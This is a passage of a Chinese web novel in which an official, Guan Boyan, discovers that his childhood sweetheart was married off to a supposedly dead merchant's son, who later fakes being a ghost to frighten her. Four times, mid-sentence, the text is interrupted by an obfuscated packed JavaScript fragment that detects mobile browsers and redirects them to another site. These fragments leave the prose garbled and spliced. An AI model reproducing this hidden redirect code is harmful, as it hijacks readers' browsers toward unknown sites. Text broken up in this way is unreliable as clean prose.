请辞后，关薄言叫上小厮，备马匆匆回到了曹参府。 曹参府设在平凉城以西，四周幽静，毗邻平凉西市。这是朝廷御赐的宅子，属于上一任平凉州司户曹参，宅子不大，白墙青瓦，中有红柱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527189|203563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，雅致中还透出些贵气。 关薄言走下马车，抬头望着这高门大宅，心中却感到一阵悲凉。 原本他还满心期待，要将这府邸里里外外挂上红绸，迎娶心爱的奺儿入门。可如今这高门贵府，白墙青瓦，却令他感觉冷冷清清，心中有一处空白到发疼。 关氏夫妇和关滢早已被接入府中，换上绫罗绸缎，坐在雕花屏风内，喜气洋洋地喝着丫鬟沏的新茶。 今儿晌午，一队神仙人马敲敲打打地来到鸭子村，称儿子关薄言做了凉州的司户曹参，要他们收拾细软，搬到平凉城内的大宅子去住。关氏夫妇在众人的惊叹声中，下巴翘上了天，脸蛋笑开了花，喜气洋洋地坐上了马车。 可真是祖宗保佑，祖宗保佑啊！ 关氏夫妇笑得合不拢嘴。 只有关滢坐立不安。 她知道等哥哥回来，定要询问柒奺的事，她又不善说谎，一个谎话十个洞，他担心哥哥一定会大发雷霆。 可等到关薄言进了堂内，只冷脸跪谢了父母养育之恩，便称有公务要处理，转身进了书房。关氏夫妇也没多想，晓得自己儿子如今身居要职，不得叨扰，便推着女儿回房去。 然而，关滢回房没多久，关薄言便敲响了她的门。 “哥哥？你……” “滢儿，我知道你心性纯良，不会说谎。”关薄言在屋中坐下，从胸前口袋里拿出那封家书，“奺儿究竟发生了什么事？我不相信她是骗我的，滢儿你告诉我，我离家这一年里，究竟……究竟发生了什么？” 关滢见哥哥双眼通红、眉头紧锁，顿时胸中一阵心酸，眼泪登时便涌了出来。 “哥哥，其实我也不相信奺儿会骗你……可是、可是……她也实在是没法子了……” 关滢哭着，将柒奺爷爷病重、父母却拒不相助的事告诉了关薄言。 关薄言听着听着，拳头逐渐攥紧，将那家书捏得啪啪作响。之前他只觉得悲凉，甚至想过柒奺的话是不是真的只是诓他骗他。可如今，听闻自己的父母竟如此冷漠，为了让他断了念想，竟然作壁上观，甚至说出让柒奺为奴为婢，去做娼妓、哪怕去死的话…… 实在是骇人听闻。 可他也怪不了父母，一切一切，都怪他自己据理力争，却从未考虑过柒奺的处境。 奺儿无助的时候，我在哪里？我又为她做了什么！ 关薄言心如刀割，将拳头用力砸向案几，案上的茶盏应声而落，砸了个粉碎。 “哥哥，你别这样……” 关滢吓得站起身，用力去掰关薄言的发白的拳头。关薄言急促地喘了几口气，终于放开家书，信纸已被他捏得粉碎。 “滢儿，你告诉我……奺儿她嫁给了什么人？” 关滢松了口气，答道： “听说对方是平凉城的大商户，祈家的公子，叫什么……祈楚的。我也未曾见过，只听说……听说这位祈公子病重，祈家急于传宗接代，才娶了奺儿进门。那日回门时，祈家公子也未同奺儿一道回来，我也不知道……” “你说什么？” 关薄言难以置信。 “简直荒唐！奺儿嫁与这样的人，后半辈子岂不是毁了！不行……” 关薄言蹭地站起身，急匆匆便要走出门去。 关滢忙拖住关薄言的手，哭道：“哥哥，你做什么？你、你可不能去寻奺儿啊！若被奺儿的婆家人知道，她的日子可就更难过了……” 关薄言停下脚步。 他舒了口气，冷静下来，拍了拍关滢的手。 “你放心，滢儿，我自有打算，不会叫奺儿难做。” 11. 司户曹参拜见 第二天一早，关薄言换上官服，派小厮送了一张拜帖去祈家。 沈氏收到拜帖，顿时手足无措，不知这新上任的司户曹参，为何要到她这区区商户人家来拜访，还正儿八经地送上了拜帖。 沈氏左思右想，又着急问了下人近日家中是否出了什么事，庄上佃户们是否出了什么事，惊动了这位曹参大人，可下人们都摇头说没有。 无奈，她只得急忙去寻祈铄，将这拜帖交到他手中。 祈铄一见拜帖，也丝毫不敢怠慢，连忙起身沐浴更衣。待关薄言的马车到祈家门口时，祈铄和沈氏已经从头到尾捯饬一番，携丫鬟小厮齐齐站在大门外，焦急不安地恭迎曹参的大驾。 关薄言走下马车，第一件事，便是在这一张张脸孔上扫视一番，却没有见到柒奺。 祈铄连忙迎上去，拉着沈氏行了个跪拜大礼： “曹参大人……草民祈铄，携一家老小恭迎大人的光临！不、不知大人此番前来……” “无事，都起来吧。”关薄言扶起祈铄，“早就听说，平凉祈家被称为第一儒商，我近日刚上任曹参，对这平凉商贾之事不甚了解，便贸然登门请教，还请祈公不要多礼。” 听关薄言这么说，沈氏总算是松了口气，恭恭敬敬一步一鞠躬地将曹参迎进府内。 祈府前厅，关薄言喝了口茶，笑道： “听说令郎少年才俊，前不久才娶妻，还未来得及恭喜祈公。对了，今日怎不见令郎？” “犬子……” 祈铄刚要说话，沈氏忙接下话头：“我儿楚郎身体不适，难以下床，小娘子床前服侍，宵衣旰食，形容憔悴，也见不得贵人……还请曹参大人赎罪……” 宵衣旰食，形容憔悴。 关薄言听了这两个词语，顿时怒火中烧。 若他娶了奺儿进门，怎肯让她如此辛劳，以致形容憔悴？ 既见不到柒奺，又得知她的处境，关薄言再也无心饮祈家这杯茶了。他拍拍衣襟，站起身来说道：“我忽然想起今日还有要务在身，便不多留了，改日再来拜访。” 关薄言做了一揖，径直走出门去，留下祈铄与沈氏面面相觑，内心惶惶不安，不知哪句话得罪了这位贵人。 马车上，关滢迫不及待地问关薄言： “见到奺儿了吗？她过得还好？……她可认出你来了？” 关薄言捏着拳头说道：“我没有见到奺儿，也没有见到祈家公子。祈家大娘子说，奺儿因为照顾郎君，宵衣旰食，形容憔悴……怕她在祈家的日子，也是十分艰难。” “难不成奺儿那日回门说的话，都是骗我的吗……” 关滢一回想当日，又忍不住呜咽起来。 马车行路，关薄言也是心烦意乱，只得将车帘撩起来，吹吹风冷静冷静。 可就在此时，他竟在街边卖菜的小摊贩边，看见了一个熟悉的身影。 他忙叫小厮将马勒住，直起身探出头去。街边，一位穿着小厮的衣服，却身形娇俏的女子，正在与摊贩大剌剌地讨价还价。 关薄言惊喜万分却又难以置信—— 奺儿，她怎么会在这里？ 柒奺当然是出来溜达的，当然，也顺便寻一寻那日的老乞丐。 那晚，这老乞丐不知从何处翻进这偏僻的别院，将柒奺预备和瓶儿第二天吃的鸡腿扫个精光。柒奺抄起扫帚便要打去，没想到这老乞丐身轻如燕，轻轻一蹬便飞上槐树，单臂吊在一根树枝上荡来荡去。 柒奺举起扫帚要打他，却够不着，这老乞丐看似须发皆白，却灵活得像只猴儿。 柒奺气急败坏，指着槐树大骂： “你这臭乞丐！……奶奶的腿儿，竟跑我院儿里来偷食儿，棒槌大的鸡腿，你两口就吃完了！真是臭乞丐，臭耗子，há蟆的大嘴肥猪的胃！……” 老乞丐用小指掏了掏耳朵孔： “你这小猢狲，看起来年纪轻轻，骂起人来倒有几成功力。老乞丐我行走江湖，那死人的贡品可没少吃，我怎知道这墓旁边还住着人呐？与其喂了蛇虫鼠蚁，不如饱饱我这老乞丐的肚子，如今人尚且食不果腹，给死人吃鸡腿，实在是暴殄天物、暴殄天物啊！” 老乞丐说完，又用掏耳朵孔的指头掏了掏牙秽。 柒奺道：“不问自取是为偷，你管是活人死人的？” “啧……你说得也对啊。”老乞丐叹了口气，说道，“可怜我身无长物，幕天席地，饮露食腐，也无甚赔给小娘子。今日吃了小娘子一根鸡腿，真是脾胃舒爽，肠里流油，老乞丐我好久没有饱餐一顿了……这样吧，待我去山里打只狍子，卖了钱，再还给小娘子如何？” “就凭你？”柒奺上下打量他。 “总之，老乞丐我今日承小娘子的情，定当相报——老朽去也！” 老乞丐说完，纵身一跃，转眼竟不见了。 一串朗笑在夜空中渐渐远去。 柒奺呆呆地立在原地，情不自禁地扔下扫帚——这老乞丐，不像是普通人啊。 因此接下来几日，柒奺为了寻那老乞丐，便在街头巷尾游荡。她问了城中的乞丐，却没人见过老乞丐的样子，她也去了城外荒山，可山林里野兽众多，她不敢独自进山寻找——仿佛那夜偶遇，只是一场梦而已。 柒奺也怀疑过，那老乞丐是不是真的神仙，可神仙也要吃鸡腿吗？ 那根被啃得精光的鸡骨头，可真真切切存在的。 柒奺见今日也遍寻无果，便买了几根萝卜，一边啃一边慢慢走回别院去。 不远处，关薄言也命小厮驾车，远远地跟在柒奺身后。关薄言取下官帽，撩起车帘，双眼目不转睛地盯着面前那小小的身影。他紧张又兴奋，却不敢贸然上前，此时他心中有太多的疑问需要解答。 柒奺越走越偏僻，车上的关滢也忍不住说： “奺儿到底要去哪里？这……这都快出城了啊。” 好在没到城墙，柒奺往左一转弯，没进一条窄巷。窄巷肮脏凌乱，只得一人容身，尽头倚靠着山体。关薄言命马车停在巷口，见柒奺将萝卜纷纷扔进墙内，又攀着石墙和树枝，轻盈地爬了进去。 关薄言没有跟着爬墙，而是让小厮沿大路绕行，一直走到这座宅子的大门外。 他倒要看看，这里究竟是什么地方。 绕至宅院正门，这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527190|203563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大门紧闭，无名无姓，看似偏僻破落，却有两名小厮守在门口。关薄言和关滢下了车，让自家的小厮去引开注意力，趁门口两名小厮离开，便拉着关滢冲进门去。 宅院极深，树影萧萧，苍苔遍地，每扇门窗都布满蛛网。关滢害怕，紧紧抓住哥哥的手臂，关薄言则快步朝内走去，此情此景，更加深了他的疑惑。 关薄言和关滢走了许久，才听见内里传来柒奺熟悉的声音： “瓶儿，这些萝卜好生便宜，我买了些，够我俩吃几天啦。” 瓶儿却抱着米缸子，撇着嘴说道：“娘子……米缸快见底了呢。” 柒奺一瞅：“还有些，要不咱掏两个瘦番薯出来，混着煮个番薯粥，也能凑活吃了。” 瓶儿只好点点头，回身进去做饭，柒奺却在那石阶上坐下来，啃着手里剩下的白萝卜。她心里还想着，这老乞丐还说打只狍子换钱来，指不定是诓我的，此时说不定早就逃之夭夭了。 想到那只大鸡腿，柒奺嘴里流涎，狠狠咬了一口萝卜。 “奺儿……这、这究竟是怎么回事！” 柒奺刚嚼了两下，忽然愣住了—— 我这是幻听了么？怎的……会有薄言哥哥的声音？ 她不可思议地转过头去，果然看见一身官服的关薄言，身后跟着关滢，正一脸震惊地看着柒奺和院内的一切。柒奺的手猛然一抖，那半块萝卜，便掉进了泥巴里。 “薄、薄言哥哥……滢儿？你们……” 她慌忙站起身。 关薄言红着眼眶，愤怒地疾步走上前去，他只瞥了柒奺一眼，便将目光缓缓挪向院落正中央、那座气派的汉白玉坟墓上。柒奺慌了神，想去制止他，关薄言却抢先一步冲至墓前，双手紧紧攥住那块崭新的墓碑： “祈家楚郎……已经死了？奺儿……这究竟是怎么回事！” 瓶儿听见动静，攥着一把菜刀，惊恐地走了出来。柒奺大脑飞转，她不知关薄言怎么突然回来了，又怎会和关滢找到了别院来。 可看着关薄言的通红的双眼，她的心忽然软了。 她知道再也无法隐瞒，只得缓缓坐回石阶，将祈家骗她冥婚一事，坦白告诉了关氏兄妹。 关薄言难以置信地听完，震怒道： “荒谬！生者怎可嫁与死者，祈家枉顾礼法，这婚事……断不可作数！” 关滢也坐在柒奺身旁，紧紧攥起她的手说：“奺儿，哥哥现在是凉州曹参，他定能为你做主的……” “不可。”柒奺决然地抽开手，说道，“我既已嫁入祈家，便是祈家的人了。滢儿，薄言哥哥……求你们替我保守秘密，千万不要传出去……” “为什么？”关薄言大声说道，“奺儿，你在信中说，那日你对我说的话，都是……我不信！无论我父亲母亲做了什么，如今我已身居要职，娶妻之事，我说了便算！奺儿，我关薄言可以对天发誓，对你的心意，从始至终都未曾改变，我只想娶你做我的娘子，其他我别无所求！……” 柒奺沉默了片刻，隐隐叹了口气道： “嫁与你，又如何？不过是从一个院子，关进另一个院子，又有何分别呢。” 12. 岂可人无得运时 “……可我是活生生的人！”关薄言指着那座汉白玉坟墓，“难道你愿意一辈子守着这座孤坟，愿意守一辈子寡吗？奺儿，你我从小一起长大，我定会好好待你，难道……难道你还不相信我吗？” 关滢也哭着说：“是啊奺儿，你放心，有我在呢……嫁给我哥哥，绝不会叫你受委屈的……” 瓶儿也想劝柒奺：“娘子……” 柒奺沉默了。 嫁给关薄言，也许在旁人来说，是个求也求不来的好姻缘，可她心中所志，却不在彼处。嫁入祈家，也许一开始是将她推向了深渊，可她突然想赌一把，哪怕会豁出一生的幸福。 关滢紧紧握着她的手，满怀期待地看着她，关薄言站在她面前，也满怀期待地看着他。 也许，老天此时让关薄言出现在她面前，也是想给她一个脱离苦海的机会呢？ 她心里很迷茫。 “……好吧。” 沉默了许久，柒奺终于妥协，轻叹了口气：“不过，请再等些时日吧。” “为什么呢？”关薄言又着急起来。 他恨不得现在、马上，就命周司礼去祈家，替奺儿解除婚约。 “就再等些时日，等公爹身体好转了，再行此事也不迟。”柒奺说，“虽然婆母待我刻薄了些，可我理解她，不过是为了整个祈家着想。况且，公爹并未苛待于我，他受伤未愈，若此时得到独子已逝的噩耗，恐怕会悲痛交加，要了他的性命。” 关薄言想起刚刚才见过的祈铄，的确气虚体弱，行止颤颤巍巍。 他虽然想尽快迎娶柒奺，可也无法因此罔顾一条性命。 他只能再耐心等待。 “那……我也想想办法，看是否能寻得神医，替祈家主君养好身体。”关薄言心疼地看向柒奺，“可如此，便要再委屈你一段时日了……” “我倒无妨。”柒奺明媚地笑起来，“我和瓶儿在此处，不知道多快活呢。” 关薄言心一动。 他喜欢柒奺，便是因着她乐观倔强、如野雏菊般的性子。 看着柒奺的笑颜，他也终于放松下来，牵起嘴角笑了。可环顾四周，又不觉心酸，只得从腰间取出一只荷包，硬塞进柒奺的手里。 “薄言哥哥，我不能收……” 柒奺脸红了。 关薄言执意握着她的手：“别说了，奺儿。待你嫁给了我，便要托付中馈与你，我的便是你的，你就安心收着吧。你放心，我会着人关照祈公的身体，也会抽空来看你的，你一定要好好照顾自己。还有，这只镯子……” 关薄言从怀中，缓缓取出那只被他体温浸润的玉镯。 “我一看见这只玉镯，便觉得它极为衬你。”关薄言说，“那时我孤身在平京，身上并无多少银钱，可我始终记得对你的承诺，定不叫你再受委屈……奺儿，这是我倾尽所有买来的，虽不算名贵，却可表我对你的一片赤诚。” 柒奺望着这只清透的玉镯，攥着手指，却不知是否该接下。 关薄言却执意将玉镯塞进柒奺手里：“奺儿，请你收下吧，你若收下，我便安心了。” 柒奺心中有些酸涩，只得缓缓将玉镯拿在手中。 玉镯上残留着关薄言的体温，令她心中某处，仿佛有些冰融。 新上任的关曹参，刚来平凉便去祈家拜访的事，立马传遍了祈家几房。 四房的祈炜火急火燎地来到祈桓书房，见祈桓正在看账本，小妾辛云娘一身花枝招展地在一旁伺候，两人卿卿我我有说有笑，便立马退出去，站在门外大咳了两声。 笑声戛然而止，祈炜才又跨进书房，忙不迭说着： “二哥，你听说了没有！……” 祈桓向小妾使了个眼色，辛云娘略一欠身，退了出去。 “什么事咋咋呼呼的，成何体统。” “你还顾得上我体统不体统呢？”祈炜在书案前的草蒲团上盘腿坐下，“这关曹参去大哥家的事，你不知道？你可知那关曹参昨日才抵达平凉，今日一早便去大哥家了！大哥和沈氏穿得那叫一个隆重啊，所有小厮丫鬟都齐齐候着，喜气洋洋地就把人迎进去了！” “哦，我那侄儿可有现身。” 祈桓漫不经心地问道。 他不是不知道关曹参的事，祈家大房附近，早就被他安插了眼线，宅内也有，只是探不出什么虚实。 他只是心里清楚——要么，是大房家出了什么大事，可若有能惊动曹参的大事，大房家里早就乱了套了，他怎可不知情。要么，是这关曹参与大房家有攀旧，可听说关曹参坐不到一刻钟便离开了，看起来也不是很熟络的样子。 他猜测，许是有些商贾方面的事询问罢了。大哥是儒商，与当官的倒是同一道人物。 祈炜的答案也出乎不了他的意料：“没出来！丫鬟小厮、连烧火的老妈子都恨不得叫出来撑场子了，我那侄儿和侄儿媳妇，却都没出来见客呢！” 祈桓沉吟片刻，终于合起账本。 祈炜这人终归是沉不住气，容易受人拿捏。可这性子，正合自己的心意。 “二哥！” 祈炜又着急起来。 祈桓简单作了解释，见祈炜一脸大彻大悟的表情，又问道： “总之，此事你就别管了——对了，我嘱托你办的事情，办得怎么样了？” 祈炜说：“二哥，你要的人我找着了，不过他也隔着门路子……你也知道，那秦起大将军的队伍军纪何等严明，北固军几十万人，要打听我那侄儿的下落，怕是不那么容易……” “接着打听。”祈桓冷笑道，“比起大哥来，我可有的是时间。” 与此同时，祈楚正和平南山几人，在酒楼包厢里喝酒吃肉。 那晚他跟薛宛坦白实情后，薛宛果然没有透露半个字，情绪稳定后，身体也渐好了。 经过这段时间的查证，祈楚基本上可以确定——二叔祈桓收拢了他家大半的销售渠道，又收买平凉城内十几家铺面的掌柜，制作假账，将盈作亏，从中牟利。 然而祈楚清楚，此时要扳倒二叔，却不到火候。 二叔狡猾，收拢渠道的事，是因父亲体弱，由宗族耆老商议决定的；掌柜做假账虽由他授意，但祈桓却将得利大方让给掌柜私吞，自己分毫不取，目的只是为了搞垮大房家的生意。 就连与掌柜联络，也是靠着小妾辛云娘。 平南山他们蹲守许久，发现辛云娘常常扮作丫鬟，戴一顶帷帽遮住半身，出入祈家大房的各间药铺。她便是以抓药为名，替二叔与各个掌柜暗通款曲。 平南山灌了口酒，问祈楚： “你二叔这么折腾，又不是为了银子，这是为哪般啊？我看他如此厉害，如今家产也不比你家少多少，难不成他心理扭曲闲不住，就想搞别人的破坏？” 祈楚却摇头：“二叔要的，不是这点利，而是祈家几代积攒下的万亩药园。” 这万亩药园，就在平凉城外不远处的千金庄，是为祈家私产。此地地势多变，适宜多种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527191|203563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药材生长，土壤类别丰富，每年产量巨大。哪怕平凉最大的药商陶家，也觊觎祈家的这片药园。 这是祈家赖以生存的资本，理应由嫡长子继承。 而祈桓为庶出，不到万不得已，祈家族老绝不会将千金庄，交到一个庶子手中。老太太让沈氏力排众难大办婚事，且不给祈桓反应的时间，确实令他陷入了被动。 祈楚举起酒杯，又仰头饮尽杯中酒： “总之，还要继续仰仗各位兄弟，替我办好这件事。” 柒奺得了关薄言赠送的银两，却只藏在枕下，她与瓶儿这两天仍喝番薯粥啃白萝卜。 那只玉镯她也没有戴，只用布小心包好，一并收藏。 瓶儿颇为不解：“娘子，有了银两，为何却不买点好吃的呢？娘子也可买点布匹做几件新衣裳，就不用穿这身破麻衣了……娘子好看，穿上漂亮衣裙，一点儿也不比那富家小姐差。” 柒奺笑了笑，坐在石阶上咬着番薯藤玩：“我如今寄人篱下，若是花了，怕到时候，咱们无钱还给他。” “还给他作甚？”瓶儿不解，“娘子，你不是已经答应关大人，将来解除婚约后，要嫁给他做娘子吗？我瞧关大人对娘子至诚至善，恨不得摘天上的星星给你，怎会要你还这些银两呢？” 柒奺托起下巴，望着月光下槐树的树影，长叹了一口气。 “娘子为何不说话？” 柒奺摇摇头说：“瓶儿，我也不知道该说些什么。有些事情……我自个儿也想不明白。” “想不明白便不想吧。”瓶儿挨着柒奺身边坐下来，握着柒奺的手说，“娘子无须困扰，无论娘子在哪里，瓶儿都一定跟着娘子，娘子做的决定，瓶儿也一定支持，哪怕要吃糠咽菜过苦日子，瓶儿也没有任何怨言！” 柒奺知道，瓶儿是不想叫自己难做。 柒奺捏捏她的手说：“俗话说：黄河尚有澄清日，岂可人无得运时。若是运来了，我也定会好好把握，瓶儿不必替我担心了。” 瓶儿重重地点点头。 “对了娘子……这几日，我好像都没看见那个鬼影了呢，娘子你呢？” 柒奺摇头：“没见着，许是见吓不着我，自个儿灰溜溜回地府去了呢。” 柒奺不知道，那只“鬼”不是回了地府，而是分身乏术，暂时顾不上这头。 可祈楚还憋着一股子胜负欲。 前些日子来扮了几次鬼，却只将那小丫头吓得抱头狂叫，柒奺倒是一脸冷漠，自己好几次差点被她逮住漏了馅儿。他忍不住想着：难不成……这小娘子已经知道，自己是假死？ 他思来想去终觉不妥，便又叫上平南山，偷偷潜进别院。 趁柒奺和瓶儿吃饭时，平南山将钢索牵在柒奺房间的梁上。祈楚则埋伏在院外，趁柒奺睡下，轻手轻脚地捅破窗户眼儿，往里吹了点蒙汗药。 他控制好药量，只叫柒奺昏昏沉沉，半睡半醒，似梦非梦。 他要彻底吓吓这小娘子，其缘由有三： 其一，自是满足自己的好胜心，好好捉弄一下对方。 其二，探探对方是否察觉了自己未死之事，以防破坏了自己的谋划。 其三，让她以为自己被痴鬼缠身，将来若要解除婚约，便不必大费周章，她自会谢天谢地巴不得离开。 只是他千算万算，却没算到柒奺出身药农，又时常出入关家药铺，从小熟知药性。 嗅到异味，知是蒙汗药，柒奺便立马醒来，不动声色地屏住了呼吸。 13. 人吓鬼 深夜，四周无比清幽。 时已入秋，凉风瑟瑟，树声萧萧。黑云鬼祟游移，一时遮住了惨白的月光。 柒奺心中忐忑，难道是什么流寇贼人混入了平凉城？可此处偏僻破落，若是图财，怎会到此处来？可要是图色…… “啪！” 窗突然被狂风吹开，屋内顿时被风灌满。柒奺停止了思绪。 平南山牵着钢索，弓着身躲在窗下。 “娘子……为夫……为夫死得好惨啊……” 一阵鬼哭幽幽传来，柒奺一个激灵，虚睁起双眼。 她从眼角，仿佛能看见半空中，渐渐脱出一个鬼魅般白色的身影。他衣袂飘飘，长发乱舞，竟倒挂在房顶，惊得柒奺倒吸一口凉气。 莫非这祈家公子，真变成鬼来找我了？ 仅仅一瞬间的惊慌，柒奺又很快冷静下来—— 鬼会用蒙汗药？ 我倒要看看是谁在装神弄鬼。她心里冷笑一声，假装受了迷药，挣扎着想挪动身体。 祈楚见奸计得逞，差点笑出了声。他忙抿嘴调整表情，伸出两只爪子，双脚一钩钢丝，从那房顶翻身跃下，直挺挺地站在柒奺床前。 “娘子……为夫在下面好孤独……娘子……下来陪我吧……” 他伸直双臂，顶着一头长长的乱发，朝柒奺走去。走到近处，便停下脚步，缓缓弓下身子，将长发和沾满鸡血的脸，凑到柒奺面前。 双脸相对。 祈楚的长发垂下，丝丝缕缕撩在柒奺的脸上。脸颊痒得刺挠，柒奺拼命隐忍，十根脚趾头都抓紧了。 她嗅到一股特别的气味，像是香粉的味道。 “你是……郎君？” 她假装迷蒙地问。 “是啊！我就是你，”祈楚意识到语速不对，“的郎……君……” 柒奺肚子里翻了个白眼。 黑云脱离了月亮，屋内顿时铺满月光。柒奺望向眼前的“鬼”，可他背对着月光，却怎么也看不清楚。 然而月光，却清晰地照在了柒奺脸上。 祈楚愣住了。 夜色朦胧，月光如纱，笼罩着柒奺的脸，竟让祈楚心中一动。 如此近距离端详，祈楚发觉，这小娘子脸蛋小巧，五官精致，月光之下，皮肤白皙润滑，像是刚出窑的白瓷瓶；尤其是那双如扇的睫毛，随着月影微微抖动，甚是惹人怜爱。 祈楚心中腾起一种别样的感觉——这女子，虽是陌生人，却又是自己的娘子…… 祈楚从小顽劣，成熟得晚，对男女之事毫无知觉。可如今他已长成，二十出头，血气方刚，与柒奺如此靠近，内心早已蠢蠢欲动。 终于，还是色字占了上风，他竟缓缓抬手，想摸一摸柒奺的脸。 祈楚吞了口唾沫，心中暗想：她……她本就是我娘子嘛…… 真是方才还粗俗寡耻，如今又是我娘子。 就在他指尖即将碰到柒奺脸颊时，柒奺突然一个大耳刮将他掀翻在地，坐起身猛挠双脸： “我忍不了了……痒死老娘了！” 祈楚坐在地上，霎时懵了，脑袋一片空白。 他捂着半张脸，一脸难以置信地看着柒奺： “什么……老、老娘？” 柒奺挠完脸，总算舒爽了，回头见这“鬼”还愣在地上，抄起床边的扫帚就要打去： “你究竟是什么人，竟敢扮那死鬼来吓我，还想占老娘的便宜？——看我不送你去见阎王！” 当祈楚还沉浸在“蒙汗药怎么没有效”的自我怀疑中时，柒奺的扫帚已经快落在他的天灵盖上了。祈楚猛然回神，一时慌不择路，真叫一个“笨鸡蛋长爪子——连滚带爬”。 这时，窗外又跃入一个黑影，平南山干脆利落地架起祈楚，一跃便跳出了窗外。 紧跟着的，便是柒奺飞出来的扫帚。 “啊——！” 一声惨叫越过墙头，飞快便听不清了。 平南山足足笑了祈楚三天，是吃饭也笑睡觉也笑，茅房里都能传来他公鸡打鸣似的笑声。 王保赵闲何大托几人丈二和尚摸不着头脑：“南山兄在茅厕里笑啥呢？” 何大托说：“难道茅坑里的蛆在演大戏不成？” 看祈楚，他屁股挨了一扫帚，跛了三天，也是让人一头雾水。 可祈楚和平南山两人就是不肯说原委，祈楚几次三番威胁平南山，说出去就和他拼命。 私下里，平南山时常憋不住调侃祈楚：“我今儿可算是懂了一句老话，叫作‘色字头上一把刀’！那小娘子早就察觉出了蒙汗药，就等着你上套呢！真是可怕，可怕……” “胡说！”被平南山戳中了痛处，祈楚梗着脖子嘴犟，“她能有如此聪明，我祈字倒过来写！她那人、她简直是举止粗俗，俗不可耐……” “奈何不了，了却余生，生不如死，死不如生——完了，进死胡同了。” 平南山一摊手，憋笑憋得脖颈通红。 祈楚想也不想接下话茬：“对，要她做娘子，我就是‘生不如死，死不如生’，我若‘奈何不了’，不如‘了却余生’！” 平南山忍不住抚掌赞叹： “哇……不愧是读过书的，才子啊！” 祈楚满脸通红，只得拂袖而去。 可那晚柒奺的脸，却又毫无征兆地浮现在了他的脑海里。 虽然此次吃了瘪，可祈楚也从柒奺的话里确定了，柒奺并不知道他又“还魂复活”的事。如此一想，倒也算有些收获，可聊以安慰了。 而柒奺的确没想过，那真真是祈家公子。 那晚的两人逃得极快，黑衣的扛着白衣的，几步便爬上墙垣逃走了，可见有些身手。他们逃走后，瓶儿也听见动静闯进柒奺的屋子里，柒奺便没有继续追上去。 “原来我见到的鬼，竟是人扮的……”瓶儿拎着一簸箩，皱着眉头说，“娘子，他们究竟是什么人啊，为何要扮鬼吓唬我们？” 柒奺躺在石阶上，望着碧蓝的天空，也在思考这个问题。 若说是附近的地痞流氓，知道这院里住着她和瓶儿两人，想要窃玉偷香；若说是流寇土匪，想要劫财害命……可这“鬼”是人也没碰，钱财也没碰，那晚摸柒奺的脸，倒像是一时兴起而为之。 柒奺也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527192|203563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想不明白，只得说：“定是附近住着个傻子，半夜没看住，跑出来吓唬人。瓶儿别担心，那晚我狠狠打了那傻子，该是不敢再来了。” “该死的傻子。”瓶儿也学柒奺骂了一嘴。 “对了娘子，今儿早小厮来说，讲学的女先生好全了，叫娘子今天傍晚早点过去呢。” “唉……” 一听到讲学，柒奺的脑袋又大了。 她不是不愿意学，只是女先生教的东西，并不是她心之所向，而她想学的，却不知何人才能教她。世上的怨怼往往就在于，拥有之人所弃之敝履的，渴求之人却难以企及。 柒奺一声叹息，目光又不自觉望向那座汉白玉的坟墓。 “哗！” 正瞧着，槐树背后忽然飞出个人影来。 柒奺一激灵，支起身子定睛看去，竟是那衣衫褴褛眉髯皆白的老乞丐。老乞丐稳稳落地，“嘿咻”一声，喜气洋洋地抬起双臂，大大咧咧地便朝柒奺走了过来。 “小娘子，老朽在林中蹿了好几日，傻狍子没逮着，逮了几只兔子抵你的鸡腿。” 几团毛茸茸带血的兔子，就这样扔在了柒奺脚边。 瓶儿忙扔下簸箩跑来，惊叫道：“这么多兔子，够我们吃好几天了呢！娘子，快入冬了，这兔毛正好给娘子做个毛坎肩儿！” 柒奺这才回过神来：“你还真打东西来了啊……臭乞丐，我还以为你跑了呢！” “那不能。老乞丐我行走江湖数十年，向来有恩必报，说到做到。” 老乞丐拤起腰，骄傲地捋了捋白胡须。 